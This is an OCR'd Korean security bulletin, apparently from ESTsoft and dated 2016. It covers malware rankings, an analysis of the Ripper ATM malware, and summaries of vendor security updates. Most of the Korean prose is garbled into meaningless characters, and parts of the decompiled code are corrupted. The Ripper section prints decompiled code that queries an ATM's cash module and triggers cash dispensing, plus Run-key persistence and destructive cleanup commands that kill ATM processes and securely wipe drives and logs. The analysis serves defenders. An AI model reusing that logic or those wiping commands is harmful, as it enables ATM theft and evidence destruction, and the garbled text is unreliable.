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1. 4MTE S

U o4 TF= TOP15
OFMTE Top 15 = AKRX} PCOIIA EIX|E! QHMTEE 7 [HIOZ AESHEAHO|CE

T

I:I a 1o

2016 9 #o| ZI&H YT E Top 15 E[AENAE= X[ 8 2O 221 1,2,3 /IE RIXZHEH AHTES0| SUsH=2IE

RAIGIRACY. X[ 5 AXH Misc.HackTool WinActivator 7} St AT A5613 1, SWF NS 080610 AETES
CIRZEAZ [= Exploit SWF.Downloader O] MZ 5 2= XIXSHLL,

=% = obMTICE Ao 71E[112] 21 gﬁLr)
1 - Misc.Keygen Trojan 455
2 - Gen:Trojan.Heur.5yXa4CUW7BfG Trojan 232
3 - Misc.Suspicious.NTZ Trojan 214
4 f Misc.HackTool.WinActivator Trojan 162
5 New Exploit. SWF.Downloader Exploit 108
6 t4 Gen:Trojan.Heur.GZ.hw2@bWfyC0oO Trojan 104
7 B Gen:Trojan.Heur.5yXa407AvFmG Trojan 96
8 New Trojan.GenericKD.3478486 Trojan 96
9 New Gen:Variant.Razy.63854 Trojan 94
10 New Misc.Riskware.BitCoinMiner Trojan 80
11 - Variant.Strictor.9778 Trojan 71
12 12 Gen:Variant.Graftor.272300 Trojan 71
13 New Gen:Variant.MSILPerseus.46104 Trojan 65
14 12 Gen:Variant.Jaik.10505 Trojan 64
15 New Trojan.GenericKD.3522163 Trojan 61
R 7, AIE AISAIR| ZHSAIS BioH] LEst a9l 20163092 01€~2016' 909 €30
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[Trojan.Agent.Ripper]

AdIL F4 HiN

1. 71

2016 A 7 & CHREX|HO| CHREHIU2EHO| 20 O7H XFE2| 41 7H ATM 7177t 5H712] 342 ot THEFE R 8327 2 EfEio)
T[oH7 | 2SI, 24X oief A4 00| SHZ0| E[RCH, M= FHE= A—SS AR, Lloigd= U=
oIt 22| 0] & AIM 7|7 |= XFS 718 V(2192 ot 717|2AM 22|/t X C = DiSet H=E 77 IRS0|
E2RC.

XFS(eXtensions for Financial Services)= 90 HLH Z=EH0f| CD/ATM 0ff Microsoft windows 2EAIK|7t EQ1E 0|5 28712
Microsoft, CD/ATM MZEAIS0| O 2 Tt 3 XPHSIAC [EtA] YEFHO1 Windows XM ALEl= AJARIO|
OfL|H ZX| AAR MAT 28 S AHIAS F ZXHOZ 5= 717 |0IA A= AARIO|CH,

XFS API

X Mansser

XFS SPI

Device Operation

(22 1]XFS AAR) X
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9-IE—C.>— O{E2[AH0|M2Z XFS APIWFS & &2 AR50 XFS Manager Ol 26| =IH XFS Manager = XFS SPIWFP &
St)2 Aol 2 CD/ATM I 2| Service Provider £ HIOSHA| EICt, A Service Provider = CD/ATM 7|7 12 ZiSA|7 [A|
5._|l'—h

OITET} XFS S 0[85101 TS 435t SEEE OfYet 2t

o — —O

WM_XFS_STOP
HAIX &&

<

Service install
Service remove
Service start

Clean Logs
Hide
Uninstall
Uninstall Service
Enable Network
Disable Network
7y

Service stop
MHIA T2 AN sco
l R MO Bl H‘_EA_I'_H
7'y
Log& &
AR & AE v

o gxl
B2 UHAIX

l .
ATM 217] B &2 =€
e 7y
WESGefinfo
WESStartup | comae | | com, ioc, PN
WESQpen COM JIS sx 83
SRS COM B & ©9)

[T 2]Ripper 52

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Part2. 9 22| 2+dT L Ol

WHM_XFS_STOP_MESSAGE = RegisterWindowMessageW(L"WH_XFS_STOP"});
Info = 8;
BroadcastSystemMessageW(B8x12u, &Iinfo, WM_XFS_STOP_MESSAGE, 6, 08);

[323! 3]WM _XFS_STOPO[2t= MIAKIS M2 Host & HEEIHAE o= B
if { Msg == WM _XFS _STOP MESSAGE )
exit{@);
(721 4/WM_XFS _STOPO| HIZISHS T SREf= FE (2T HAIK| Z2AKN F=0| U

= opTICL 3t M) Op HIO|L{2] T Qlofl QITE0| AR, T, ARt X FX| S0 Ti5S BF Ft 6K UL,

FHERI0]] TFHot= QK0 M2t THE SEE ol =M 11 LHE2 OF2H2t 2.

o-1—
A
T

]

FQE% oloIS% g
Jautorun 10 259t Sleep AfEHR SO7I SISS UA| SXIBIC,

HKML\SOFTWARE \Microsoft\Windows\CurrentVersion\Run
Juninstall HKCU\SOFTWARE \Microsoft\Windows\CurrentVersion\Run
2| & A=0]| NCRPRS, DBackup, FWLoadPm 2l|IX|AEL| 22 ATK[SHCL,

[NCRPRS exe] [DBackup.exe] [FwLoadPm.exe] Z2MAJt ZXHSH=X] 201611 XS AL AT

instal =
finsia T 0|22 ZAYBH= SHE HIi2| AlSH T2 0|20 AT HXIAER|Q| Run 0 SSAJZIC

S A0l TS BE FRARICE S350 ANTCE S HUAK| ZZAKE 7|¢toR
Jstop KIS SH=H), HAIX] ZZAROH= WNLXFS_STOPOJ2t= ORSTE7} 0j2) ol & HAIKIS o
SREPIG THEI0] ULk

/cleanup OMMTICOfA AYAISH 2] TQ T 7B EXS TE ARSI}
install DBackup Service 2H= 0|29 MH|AS MMSICE

remove | 2FETETHHEBH DBackup Service £ AfRIBICL
service

start OFMTACT | AAMGH DBackup Service S AIRISH}
stop CFETACT M5 DBackup Service £ SXISHC,

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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22 gM 24
2.2.1 YT HX|

OPYTEO| MR f= /install QAP HME2AQI0) HLEIH I install X7} HSIEIFA T AIRYEIR Of2f} 20|
ATM Z2720] 75 5 QIKIS BI Iiof3iCt Off m2 T3S ol 202 Hpy 0] OHTCE 37HK| 320 ATM
02 IS BT £11 SIS0l HOR HOfICt

L e ATE T S T I ]

LOBYTE{uas7) = 1: i
/f Search ATH Process
std::basic_string<char,std::char_traits<{char>,std::allocator<{char>>::basic_string<{char,std::char_tt
&u2o,
"APTRA™);
if ( searchProcess(u?9, v30, val, duType, lpData 1, chData) )}
{
uB = std::char_traits<{char>::length("C:¥#Program FilesW¥HCR AptratbinW#HCRPRS .exe™);
std::basic_string<char,std::char_traits<{char>,std:-allocator<char>>:zassign(

Bull,
"C:WWProgram FilesWWHCR AptratitbintWHCRPRS .exe",
va);
ul = "HCRPRS";
H
else
{
std::basic_string<{char,std::char_traits<{char>,std::allocator<{char>>::basic_string<{char,std::char_
Bu20,
"Agilis");
if { SearchProcess{v2?9, v3d, v»31, dwlype, lpData 1, cbbData) }
{
v? = std::char_traits<{char>::length{"C:¥#Program FilestDieboldiigilis StartupW¥DBackup.exe™);
std::basic_string<{char,std::char_traits<{char>,std::allocator<{char>>::assign{
okl
“CiW#Program FilesW#DieboldWagilis Startup¥#DBackup.exe™,
uZy;
ul = "DBackup";
h
else
{

std::basic_string<{char,std::char_traits<{char>,std::allocator<{char>>::basic_string<{char,std::ch:
guzo,
“"FuLoadPm.exe") ;
if { *SearchProcess{v?9, vi@, vil, dulype, lpData_1, chData) )}
goto LABEL 8;
ud = std::char_traits<{char>::length{"C:WProbaseticscu32WbintFuLoadPm._exe"};
std::basic string<char,std::char_traits<{char’>,std:-allocator<char>>:zassign(
Bulh,
"G WP robaseWicscud2Wbint®FwlLoadPm. exe™,

[2 5] 0f2] #IC|2| ATM T2 1240| A58 O S ZMSk= 2
Sl ASS Z2 T T A= S0l= 1 SF0) [M2EA 2XIAEZ|| A} S50 AESH=EQUS 9ISt 71N 0|ECE S5
SSUSICE Of2li= 01| siSk= T =2 UHO|C, 022 TETF AIHE| T LM ATM 7177t X AR 2 OiCH b yFEr

ARHEC
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sub_ 4088918{&lpData, cbData, AutoRunString);
RegOpenKeyExW{HKEY_LOCAL_MACHINE, L"SOFTWAREWYHicrosofttindowstiCurrentVersiont#Run™, 8, 2u, &phkResult);
vi12 = &lpData;
if { vhd >= 8 )
u12 = 1pbhata;
i3 = {uvi2 + 13;
do
{
vlh = =ypl1Z;
++ulZ;
b
while { vil 3;
chbata = 2 = ({vi2 - u13) >> 1) + 23
u1t = &lpData;
if { vhd >= 8 )
u15 = 1pDhata;
1pData_1 = vi5;
duType = 1;
1pUalueHame_2 = &lpValueHame;
if ( v3g »>= 8 )
1pValueHame_2 = lpUalueMame;
RegSetValueExW{phkResult, 1lpUalueMame 2, 8, dwType, 1pData_ 1, chData};
RegCloseKey({phkResult});
phkResult = @;
RegOpenkKeyExW{HKEY CURREHT_USER, L"SOFTUWAREW#HicrosoftiWindows¥CurrentUersiontWRun™, 8, 2u, &phkResult);
u1? = &lpData'

[JE' 6 ERIAER| AR B20] Zhe MRSl T

2.2.2 ATM 2| Cash Dispense Module(CDM)0il &2

ATM 77 |= =] 71X 718 42 LIFHOIA QAT A 7=k HH Of2Het 2T,

- CAM: 7}H|2}

- (DM: 83 xts X7
- CHK: & T=7|

- DEP: MEA

- IDC:ID 7IE H=7|

- PIN:PIN IE
- PTR: ZElH
SIU @ 4N

- TTU: HAE ©haty]

P MEKI= Q45 S ofg UEL AEHO = HElE (DM 7|52 XM ORl= (DMC2RH 25 JES

el
L= FE=0 R0,
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if { duCategory == 381 ) /7 WFS_INF_CDHM_STATUS
{
if ( (=(1lppResult + 38))->fubDevice )
#{u3 + 2188) = 0;
else
*{u3 + 2188) =
LOBYTE(u2)} =
goto LABEL_16;
¥
if ( ducategory == 382 ) // WFS_INF_CDH_CAPABILITIES
{
Capabilities
={ud + 2118)
={ud + 2112)
#{u3 + 2116)
¥
else

*(1ppResult + 38);

Capabilities->wHaxDispenseltems;// Get maximum amount per each dispense
*{&Lapabilities->bShutter + 2);

Capabilities->»bCashBox;

if { ducategory t= 383 ) /4 WFS_INF_CDH_CASH_UNIT_INFO
{
EL_16:
WFSFreeResult{u5);
return v2;
H
CashUnit = *{lppResult + 38);
(U3 + 2128) = CashUnit->usCount; f# Get cash unit count
if { CashUnit->usCount > Bu )
{
= {u3 + 2122);
do
{
duCategorya = (w7 + 64);
qmemcpy{u?, *{&CashUnit->1ppList->usHumber + u2), @x46u);
uf = CashUnit->usCount;

vi1B = _ OFSUB__ (++v2, uB);
ug = w2 - ug < 8;
u? = duCategorya;

H
while ¢ v? ™ uwin );
vE = l1ppResult;

H

[T22! 7] ATM 2] (DM CZEE 02 MEE A0{Q= F=0| el

Q| F=E ATHEH Category HE L2 SEE o
AMHHEM 02t 2T}

02
Ew
K
0

;
o
o

PIgt 4= QU=H, 22{0] O SEtS lok=A| ZIHs|

S5 29

BIRH CDM 2] AEH HIS Q1042 4= UL SEHEQIX| OfF, Dispenser LYE0]| #30| S5
WFS._INF CDM STATUS d | S RS H0f2 4 L. | G52, Dispenser LHEI0]| 3420| £&:51%|

S2 opjgitt,
WFS_INF_CDM_CAPABILITIES SOl &= == U= oz 2| Y, YUE3 ME| 0] 32| F=HE 20lE 4= AT

0I& 7tset 2t THe7t O 4S0| A=K HotE == ULt 2L 21| Hel= HiE SH
1 TR, 5 A, 1 D S2 Q0[BT

iy St [

WFS_INF_CDM_CASH_UNIT_INFO

F

SARI= 71 371K HUES OIZsHA (DM EEE H02 TS 0|4 7 12IC= ol &5 XS i Okli= |02
HHE JHIOR $i2 S22 3lcl= T=0| YSE LIERH Zi0|Ct,
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if (u9 >0 )

if { v? < CashMumber }
CashHumber = w9;
if { CashHumber > @ ) f/ print dispensing msg
{
u?25 = *(GetWindowParam{&u3i) + 2);
24 = CashHumber;
sprintf_s{&DstBuf, Bx886u, "Dispensing %d items from cash unit #%d", CashHumber, v25);// get number of #%d cash unit from dispenser
std::basic_string<char,std::char_traits<{char>,std::allocator<{char>>::basic_string<{char,std::char_traits<char’>,std::allocator<{char>>(
#u33,
“info");
vw3it = 8;
u3e = &u2e;
std::basic_string<{char,std::char_traits<{char>,std::allocator<{char>>::basic_string<{char,std::char_traits<{char>,std::allocator{char>>{
&u2@,
&DstBuf);
LOBYTE{u35) = 1;
uih = sub 4O3API(&u3T);
LOBYTE{v35) = @;
SetWindowTextAFunc(=v10, v2@, w21, w22, v23, v2h, u25);
u3s = -1;
std::basic_string<char,std::char_traits<{char>,std::allocator<{char>>::~basic_string<char,std::char_traits<{char>,std::allocator<{char>>(&u33});
v31 = CashHumber ;
u30 = =(GetWindowParam{&u31) + 2});
ExecuteDispensing{&Instance, v36, u31);// DISPENSE
K
H

(1218 32 53 7152 Zalsl= 49| 7ol U
2 ZEO0N EXIES ATHEM “Dispensing Yod items from cash unit #%d" 2f11 £ U= RS E0Ig 4= QUL

0]Z0] 2j0jsk= b= "2f| 2 EA 2 7HE S=2ICl = 2I0|0|C Z= OFiZ0| 23 ExecuteDispensing &7+ ZXtioh=Cl|

ol el LK Ofl= O2HRt 20| WFSExecute £ AIlSIHM == E50k= EES HERlS 20 + AU,
(WFS_CMD_CDM _DISPENSE)

if ( =&tDispense.lpDenomination.usCount >= 8
&8 (v? = KindOfCashHumber, KindOfCashHumbher > @)
&& ((v18 = =&tDispense.lpDenomination.usCount << 6, =*{(*&tDispense.lpDenomination.usCount << 6) + Instance + 2146))
|l ={Instance + 2764)) )

vlaValues[=&tDispense . lpDenomination.usCount] = KindOfCashHumber ;

CashAmount = #{Instance + 2118}; // Cash Amount

tDispense . lpDenomination.ulAmount = CashAmount;

bCash = KindOfCashNumber < CashAmount;

KindOfCashCount = #&tDispense._lpDenomination.usCount;

if ( *bCash )

{
v9 = thispense_lpDenomination.ulAmount;
ulaValues[=&tDispense.lpDenomination.usCount] = tDhispense.lpDenomination.ulAmount;

H

vl = *{ui10 + Instance + 2146);

if ( vlaValues[KindOfCashCount] »>= vl && t=(Instance + 2764) )
ulaValues[KindOfCashCount] = vid - 2;

*(&tDenomination.ulAmount + 3) = ={Instance + 2128);

*EtDispense .usTellerID = 8;

tDispense .fuPosition = @;

*{&tDispense.fwPosition + 1) = 1; // tDispense.bPresent
*{&tDispense .bPresent + 2) = &tDenomination;//

Ifi
hService = =({Instance + 6); I

I¥

*&tDenonination.cCurrencyID[@] = Bx28280;

thenomination.cCurrencyID[2] = 8x28;

*E&tDenomination.cCurrencyID[3] = 8;

*(&tDenomination.usCount + 1) = ulalalues;

WFSExecute{®, v?, hService, 382, &itDispense, B, &tDispense.lpDenomination.lpulValues);// WFS_CHMD_CDM_DISPEHNSE
if ( tDispense.lpDenomination.lpulUalues )

{

(721 91 &3 53 7152 23851 2Rixiol A=
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223 F4AEI}H N 25 H|A

O] A= BE SAE 2 TS 242 MEok= 7 I—é 7FRILL U QEXI2E, /cleanup QA HZEH X7 | Kl
HlotiA ST =T SEoHAM Wdet 271 3 EXSS BT AHoh= 7IsS 7KL U OFf= 10| Chet I=9| YR E

GetTempPathAFunc{&TempPath};

vi12 = B;

sub_4@85589(&TempPath, &ulil, "WHisd.exe™);

LOBYTE{vi12) = 1;
std::basic_string<char,std::char_traits{char>,std::allocal
sub_4882DA{cmd} ;

sub_4@782C(8);

né_ = 6;
nt = 63
do

{

std::basic_string<char,std::char_traits<{char>,std::alloc

&omd ,

“taskkill /IH aptrax /T /F");

ShellExecuteAFunc{*&cmd, v102, vidh, o185, vido, via7);
std::basic_string<{char,std::char_traits<{char>,std::allo:

&omd ,

“taskkill /IH ncr= /T FF");

ShellExecuteAFunc{*&cmd, v102, vidh, o185, vido, via7);
std::basic_string<{char,std::char_traits<{char>,std::allo:

&omd ,

“taskkill /IHM java.exe /T /F");
ShellExecuteAFunc{*&cmd, v102, vidh, o185, vido, via7);
std::basic_string<{char,std::char_traits<{char>,std::allo:

&omd ,

"taskkill /IM wrapper.exe JT JF");
ShellExecuteAFunc{*&cmd, v102, vidh, o185, vido, via7);

[T 10| Ceanup SXIS 4:3i6H= F=o| U2
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taskkill = 0|2510] ATM 2H ZEMASE 25 ZS=EAIZICE 1 20 Sysintemals 2| Secure Delete £& YA ZC0H sd.exe 2h=
O|EC= CEGI0 F71M01 HHSS AMAARICE Of2f= 2T ET} Cleanup 2US +34Et Iff LIFMOE 3l5k= HHES

LtEHH Zd0]C.

taskkill /IM aptra* /T /F
taskkill /IM ncr* /T /F

taskkill /IM java.exe /T /F
taskkill /IM wrapper.exe /T /F
taskkill /IM aiw.exe /T /F
taskkill /IM *came* /T /F
taskkill /IM snmp.exe /T /F
taskkill /IM *gbr* /T /F
taskkill /IM ul*.exe /T /F

sd.exe —accepteula -p 8 —a —q —-s d:\\*
sd.exe —accepteula -p 8 —a—q -s e:\\*
sd.exe —accepteula -p 8 —a —q —-s f:\\*
sd.exe —accepteula -p 8 -a —q -s g:\\*
sd.exe —accepteula -p 8 —a -q —s h:\\*
sd.exe —accepteula -p 8 —a -q -s c:\\*.log
sd.exe —accepteula -p 8 —a —q -s c:\\*.jrn
sd.exe —accepteula -p 8 —a —q —s c:\\*.trc
sd.exe —accepteula -p 8 —a —q -s c:\\*.xml
sd.exe —accepteula -p 8 —a -q —s c:\\*.zip
sd.exe —accepteula —p 8 —a —q -s c:\\*.bak
sd.exe —accepteula -p 8 —-a —-q -s c:\\*.err
sd.exe —accepteula -p 8 —a —q -s c:\\*.idb
sd.exe —accepteula -p 8 —a —q —s c:\\*.idx
sd.exe —accepteula -p 8 -a —q -s c:\\*.dat
sd.exe —accepteula -p 8 —a —q -s c:\\*.gsb
sd.exe —accepteula -p 8 —a —q —s c:\\*.txc
sd.exe —accepteula -p 8 —a -q —s c:\\*
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0] QHMTCE I XUSHH| HIZHE 2O HO{EICt, TS ATHEDI XFS Ei0| 7|5t 7| U M Q1A 52 Hafspi|
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==
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HOfBH £ QIS 4 US| TH20 ARBAIS] EIS =2 TR} g ZOICk 2 ATV B2 IUS0| XFS 2h= 35
2i0I=2{2IZ OB THEIO] QU= HS B2KE YOS SAl0H 012f CHYS 12l 4 QU7 TH20| FHE0| 2 4+ QU

ATM 2 ISH S| £14017| TR0 SIOIERIAES 7|HIOR Bt Ald S48 ZEP1 [Hiz0| OpY TR 0| AN XIEHE:
< QUCF. 21T AfRI0| S ATM 7|7 [0 25101 SN0 MO ATM S A2i510] oY DRI MAfSls S0 B4
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Microsoft 9 & 7| 22t &H[0|E
— Intemet Explorer & X HQt H|0|E(3183038)

01 21 2A0IEE nfemet Eporer o FoFSS SUEILICL O SOW 71 A21 FRRIE ABXPHntemet Eporer &
AKZ5101 S+ HIAHE 2 HOIXIS & A9 #7 TE A2 5183 4 USLICE 0] FI2H R0 AT3 B2KI= ity
\EHi2t SUSI MEX HBIS B2 4 24 ICh B BRI 2EIK| REI0R 21281 249 BARP) SE S
RIO1Z! 4+ QUSLICE O E21 BZRP B2 TS MR{5PLE HO[ES E7L HZEIAL ARIBIALL BE ARGt 3i0)

U= M AEE TS o= USLIH.

— Microsoft Edge 2 =X HOt ¢H[0|E(3183043)

0] 2t AC0|E= Microsoft Edge 2] F{HdS SHATILIC 0] S0IM 7R 21215t FOFd2 AMEAI7} Microsoft Edge £
AI2510] E= HIZFE 2 HOXIE 2 22 22 IE HlS 518 = UASLICE 0] FIFY AR0|| H35et SAXh= 2l
AIEAIt SUSH AZAL HelE S o UL AL O K2 AMSAL Eets 7IKI=S THdE APgel 1242 22Kt
Hel0| U= AZAIEL FSE 2 S = USLICH

- Microsoft Z12{Z! 74 QA8 HOt 2IH[0]E(3185848)

b

0] K9t L0 |E= Microsoft Windows ©) FI2H2 SHZBILICE O] S0IA 7 [OFS AR} S HIEHE
AOIES HR5PILE S+ HXE SAS & Z9 17 T A2 5183 4 USLICH AAZOIN B W2 AR 2312
]

=13
= = =
TS P E AN AMEKI= B [Xt HSIOZ XMASH= AIZAIHC ek B 22 4 QSLICT
— Microsoft Office 8 9t HH|0|E(3185852)

O] 22t YHI0|E= Microsoft Office 2| F2FES sHZEILIL. O] SUIM 71 a2l FFd2 AMEA T S4= HEHE Microsoft

Office TIYS B F2 B4 T= AAS 5188 o= USLICE 0[2fet Fokd A0 58t SHXR= SR ARSAIS] ZEAE|IA]
Y2|2| T=S allish 4= USLICE AARIO] TRt ARSA Heto| KA L el APe| 1142 He|Kt HelO 2 XHdh= 1240t

- Microsoft Exchange Server  HQt HH|0|E(3185883)

0] HOot AH|0]E= Microsoft Exchange Server 2| FI2F&S SHZRILICE 0] S0IA 7F Al2iet FIE2 SZAP T E4 M
A& TRUO| I3k MAt HIYS FFet Exchange Server O &5 2 Exchange Server 2 Y& 712 XIS Oracle Outside In
0|2 2{2|0|M 2 D= HUS 518 o= USLCE
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—- Sitverlight 2 EQt ¢iH[0]E(3182373)

0| =0t 5|0 |E= Microsoft Sivertight 2| FIOHS SHZBILICE ALSXIZHS4= HIEFE Siveright S8 D2 7340| 23t

S0l 22 2 AO[ES YRSt AR 0| MO 015 %74 TE M30| S12E 4 UBLICHL SHRK= LHIZ AR}
g—mu LEE Y AO[ES HSSIEE 0HS 4 gL er UKo ZZKIO| ¢l AMO|ER ROI5H= FiX} HIY
Ll

oy QtaLICt,
= QIAEIE HAKIQ ZTS AIBAP} SSIEE 5101 S Y AIES WRSIEE QEsHoF BILICH

H
CH!

r)-

orl

- Windows & H2t 2HI0|E(3178467)

HEI0|E= Microsoft Windows 2| F2f&= SHZRILICE 0] S0A 71 At FFdC2 Qo SARV S RIEE

lo_ o
S TS0 Y AAR0IN daE Hete= QII0| TS MliolH H2] FE 2l0] o1EE 4~ UASLIC.

ol

IIOE

— Windows 2& K2t §{H[0|E(3186973)

O] 22t YHI0|E= Microsoft Windows 2| F2f&S SHZEILICE 0] FIFICZ Qlol| SARZ} L AIARIIA S HEHE
S8 D2 S liolH et 450 5182 & USLIH.

- Windows 22 2IHE Ht AHI01E(3178469)

0] HOF |0 [E= Microsoft Windows 2| F[2F2 SHZSILICE. Windows &2

= 2HHON E 2H=E EEE - AR
Windows 7 X451 518oh= B2 0] FIFICZ Qlol| et 50| o182 += US

L|Ct.

- Windows 22t 7{2 REE Hot H[0|E(3185876)
0] H2F M0 |E= Microsoft Windows 2] 1—I° FS SHZARILICE Windows Et 748 ZEJt H|E 22| THMIE EXEGHA|
Xelol= 32 0] FFd2= Qlol| YE 7E0| Zde = USLIC

- SMBv1 AMtHE HOt AL|0[E(3185879)

0 E2t HH[0|E= Microsoft Windows 2| F{2F3S SHZR!LICE. Windows Vista, Windows Server 2008, Windows 7 %!

Windows Server 2008 R2 2 MK[0IIX QISE SAXT T E4= MEFE Tzlg Fakk= Microsoft SMBV1(MH HIAIX| 25
1.0) MHE T&et 22 0] FFHOR QlsH 2 TE H3H0| o1 £~ JUSLICE 0] FAH2 CHE K| SMB AH0ll=
FG3kS OIX|X| AELICE O] M| 2F AMiMi= AMHIA HE: S| FSkS Hig 4~ QRSLICE

— Microsoft Windows PDF 210|E2{2|2 EQt AHH|0|E(3188733)

0] 22t YHI0|E= Microsoft Windows 2| F2f&S SHZSILICH ARSI T S5~ MIAfE PDF 2HIXE 2210102 HIAL} S5~

HIZH=! PDF 2ME E A2 0] £[oOR Ols ME QE0| 512 4 USLICH
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— VBScript AFZE AIXIZ OLE XFS31| HOot YH|0|E(3188724)

0] 12t IHI0IE Microsoft Windows ©] FRPIS SHZIBILICHL SEfH= AIAHS A5l AR S0l LT 2 AO|E
TS oy 2 AJOIEN HRSIEE Sl S2KI0| RETHIZ0H Z9 0] FRpOS Ol 2124 A A0| 58T 4

USLLE. 0 SX|0f| L= FIFYO=HE] HSREOH = 7HO| YUCL0|ES HX[5HOF BT, 0] SXI(MS16-116)2]
HLI0|E2t MS16-104 2| HH|0|ES 2X[eH0F ST,

— Adobe Flash Player & £2t 2{L|0|E(3188128)

O] HOt AHHI0|E= X|REl= 2= 2| Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1 2!
Windows 10 0| A4X|=l Adobe Flash Player 2| F|2FMS SHZASHICT

|PE

1
ol

Windows UpdateS: 4-245171Lt Microsoft &9t BX| 205 MO|E0A S FHOFHSC| HER0! IR IS CR2s e 4
QUL

SI= : hitp://technet.microsoft.com/ko—kr/library/security/ms16-Sep
Y= - https://technet.microsoft.com/en-us/library/security/ms16-Sep

Cisco ASA ATEQ(0] Al F|oFX HOt AH|0|E AT
Cisco TH= ASA ATEQIO{0] H3HS = FIOIHS 823 ROt YE0|ES (1]

074K |0 FI'I |
o _I

il*._"ﬂ"._ YLI0|1E #HY

e HERT ZH|0 HATE 2l 3 AMH|IA AR SO| IS TYAIR = 8=,

oSk
o

% ASA(Adaptive Security Appliance) 2ZE 0] : Cisco it MGt HIERT Hot S3HE

- MR

Cisco ASA AZLEL0{2] SNMP OflA] 2= HIHQHEZ LS Salf MATE AH0| 7HsBh FFH(CVE-2016-6366)
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[oq%k Hi— AII E°_||0-|]

OO0 - L———T

— Cisco ASA 5500 Series Adaptive Security Appliances

— Cisco ASA 5500-X Series Next-Generation Firewalls

— Cisco ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
— (sco ASA 1000V Cloud Firewall

— Cisco Adaptive Security Virtual Appliance(ASAv)

— Cisco Firepower 4100 Series

— Cisco Firepower 9300 ASA Security Module

— Cisco Firepower Threat Defense Software

— Cisco Firewall Services Module(FWSM)

— Cisco Industrial Security Appliance 3000

— Cisco PIX Firewalls

- ofiZH
FoPdo| Hak2 Hi= HIZS ARSI Cisco AH|9| 2FXK=, 11 ALO|E[1]9] Fixed Software’ 2! Fixed Releases' LIES
210151 HH|0|E A&
[REAO|E]

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa—20160817-asa—snmp

WordPress HOt HH|0|E H11
WordPress iit= A=A AO|E AFZIE! FoFHa AZ S FOFY 2 & 3l 15 71X H1E shidet 22t 2H|0|

EZ gtH[1]

- MR

et 2= B AkZAt= 2R T Z HH|0|E Hul

[OCI%F Hi= AIT E_?__"O-”

oo - 1L ———

WordPress 4.6 2! O[oHHH
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X3k b= ATTEQ|0] A H MX([1]
CHE E(EE) - AHI0|E - "Update Now” 22
re O4 B + M= 37
OtiinE
HEZA SHOIE

582: $IH0|E M0 | QO|EHOo| A MUE HQUSIM L UHO|EY =&0| &

20164 98 8%, 119 ©F0f OIX|RC = HIAF. | CjA| 2O

T XA =
e} YyoE 0

[ZIAOIE]
[1] https:/ /wordpress.org/news/2016/09/wordpress—4-6-1-security-and-maintenance—release/

MySQL it FIE 2| #Hul
QBIZ MySQL O 2ZHTE A8 2 At SO| IISHS WAL 4 QU= FoPEO| Y1)

3 MySQL: Q2FZ0IM et QEAX B BlO[EMI0IA Bi2| AAS
- SR 2T A FOFHS 0125101 MySQL A4 TS #3t
O3} = HITIO| MRS ToH7H st 4 9

X ofld Hot HHO|E EH Al X SX|

ACCZ Of2H Al H 1 Al &Y
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- M8

MySQLOIM o= HATE M3l 5 HERS FIOPH(CVE-2016-6662)

MySQL5.7.14,56.32,5.5.51

|PE

ol

[RIA] 21T AR

o MySQL 28 m0| ETIX| == 9|

0 SAXC| AASZA AE=E Leliol/ | 2ol ALZoHK| i 2FEEH TiUo| | Ti

—T—=

o IHX |7} L H WH77IX], SHE FIFHS SHASH MySQL 7 (2] TIOEJH|O|A 22| AIARIR! MariaDB, PerconaDB ARE #1[2][3]

[RIAO|E]

[1] http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution—Privesc—CVE-2016-6662.txt
[2] https://mariadb.org/download/

B3] https://mwww.percona.com/software/mysal-database

Adobe Flash Player £+ F2fH HOoF HO[0|E #H1?

Adobe iit= Flash Player GjA] 2AlGH= £[QMS SiZsH HOt QIH|0|ES WH[1]

2 T AZAR= YHTE 2SO Fe 4= U D= FHAUCH| M2t ZMHTO = HH|0|E #1

- SMEE

Adobe Flash Player 2| 26 7H F[20)| CHSH Ot AH|0|ES WH[1]
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Ol MA QHEZO

FFE(CVE-2016-4287)

- YOIFE HHOZ 0|01E = U= Use-Ater-Free FAFE(CVE-2016-4272, CVE-2016-4279, CVE-2016-6921, CVE-
20166923, CVE-2016-6925, CVE-2016-6926, CVE-2016-6927, CVE-2016-6929, CVE-2016-6930, CVE-2016-

6931, CVE-2016-6932)
CXH LES 0|0 Rl 4

- O|FE AFOR 0[0f 4 k=

U= FE(CVE-2016-4271, CVE-2016-4277, CVE-2016-4278)

H=2| &4 FUT(CVE-2016-4274, (VE-2016-4275, (VE-2016-4276, CVE-2016-

4280, CVE-2016-4281, CVE-2016-4282, CVE-2016-4283, CVE-2016-4284, CVE-2016-4285, CVE-2016-6922, CVE-

2016-6924)

[%1@: Hi= AT E°_||O-|]

Adobe Flash Player
ATEQ H
Adobe Flash Player Desktop Runtime

Adobe Hash Player Extended Support Release

Adobe Flash Player for Google Chrome

Adobe Flash Player for Microsoft Edge and
Intemet Explorer 11

Adobe AIR SDK & Compiler

Adobe Flash Player for Linux

- ofigd

OII

Adobe Flash Player AF2Xt

HELRX, M ] inux, ChromeOS

Windows 10, 8.1

Sk HE

o =

rir

B

20.0.0.211 & OHe{H

1800366 & OPHHH

21.00.211 & OHe{H

21.00.211 & OFIHH

2200.153 H O

11.2.202.632 % O

- fI=@X oH 31749| Adobe Flash Player desktop runtime AF2XE= 23.0.0.162 HEHOZ G0 |E XK
-Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0i] 225101 XA S MX[6I7LE, KIS

YHI0IES 0[Z510] Y14|0|1=
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— Adobe Flash Player Extended Support Release AF2XH= 180.0.375 HTCE L0|E M2
—Windows 10 2! Windows 8.1 0llM 322 2.2, Microsoft Edge, QIE{Sll AAZZ2{0]| Adobe Flash Player S AX[gt AKX
XSC2 2[4 AHO[ET ME
- 71 2| AF8Xf= Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)Oil HZ5101 241 HX K|
—Adobe AIR SDK 2+ AIR SDK & Compiler AKBXH= 23.0.0.257 HZHOE IH|0|E ME([2]
- hitp:/ /www.adobe.com/devnet/air/air-sdk-download. html O 252510] A S MX|
- 2|54 232 Adobe Flash Player ABAR= 11.2.202.635 HEC = AH|0|E &g

ﬂl:

[EALIE]
[1] https://helpx.adobe.com/security/products/flash—player/apsb16-29 html
[2] https://helpx.adobe.com/security/products/air/apsb16-31.html

VMware HOt AHHI0|E A1

